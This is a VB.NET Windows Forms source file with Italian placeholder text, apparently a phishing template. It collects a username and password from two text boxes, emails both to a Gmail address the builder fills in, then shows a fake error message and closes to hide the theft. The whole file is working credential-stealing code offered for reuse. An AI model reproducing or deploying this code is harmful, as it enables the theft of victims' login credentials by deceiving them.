Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("ERRORE SE IL CAMPO DEL NOME UTENTE RIMARRà VUOTO")
If TextBox2.Text = "" Then
MsgBox("ERRORE SE IL CAMPO DELLA PASSWORD RIMARRà VUOTO")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("VOSTRAEMAIL@gmail.com", "LA VOSTRA PASSWORD GMAIL")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("VOSTAREMAIL@gmail.com")
mail.To.Add("VOSTRAEMAIL@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("SCRIVETE UN FALSO ERRORE CHE VERRà VISUALIZZATO", MsgBoxStyle.Critical, "ERROR!")
End
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
End
End Sub
End Class